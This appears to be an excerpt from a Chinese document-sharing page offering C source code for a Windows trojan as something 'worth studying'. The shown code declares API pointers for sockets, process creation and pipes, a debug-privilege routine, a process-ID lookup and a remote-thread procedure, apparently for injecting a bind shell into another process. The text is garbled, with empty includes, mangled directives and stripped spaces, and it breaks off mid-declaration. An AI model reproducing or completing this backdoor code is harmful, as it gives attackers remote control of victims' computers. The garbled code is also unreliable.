文档介绍：C语言木马源码很值得研究#include<>#ment(lib,"")#include<>#include<>#ment(lib,"")#include<>#include<>#include<>//参数结构;typedefstruct_RemotePara{ DWORDdwLoadLibrary; DWORDdwFreeLibrary; DWORDdwGetProcAddress; DWORDdwGetModuleHandle; DWORDdwWSAStartup; DWORDdwSocket; DWORDdwhtons; DWORDdwbind; DWORDdwlisten; ept; DWORDdwsend; DWORDdwrecv; DWORDdwclosesocket; DWORDdwCreateProcessA; DWORDdwPeekNamedPipe; DWORDdwWriteFile; DWORDdwReadFile; DWORDdwCloseHandle; DWORDdwCreatePipe; DWORDdwTerminateProcess; DWORDdwMessageBox; charstrMessageBox[12]; charwinsockDll[16]; charcmd[10]; charBuff[4096]; msg[60];}RemotePara;//提升应用级调试权限BOOLEnablePrivilege(HANDLEhToken,LPCTSTRszPrivName,BOOLfEnable);//根据进程名称得到进程IDDWORDGetPidByName(char*szName);//远程线程执行体DWORD__stdcallThreadProc(RemotePara*Para){ WSADATAWSAData; WORDnVersion; SOCKETlistenSocket; SOCKETclientSocket; structsockaddr_inserver_addr; structsockaddr_inclient_addr; intiAddrSize=sizeof(client_addr); SECURITY_ATTRIBUTESsa; HANDLEhReadPipe1; HANDLEhWritePipe1; HANDLEhReadPipe2; HANDLEhWritePipe2; STARTUPINFOsi; PROCESS_INFORMATIONProcessInformation; unsignedlonglBytesRead=0; typedefHINSTANCE(__stdcall*PLoadLibrary)(char*); typedefFARPROC(__stdcall*PGetProcAddress)(HMODULE,LPCSTR); typedefHINSTANCE(__stdcall*PFreeLibrary)(HINSTANCE); typedefHINSTANCE(__stdcall*PGetModuleHandle)(HMODULE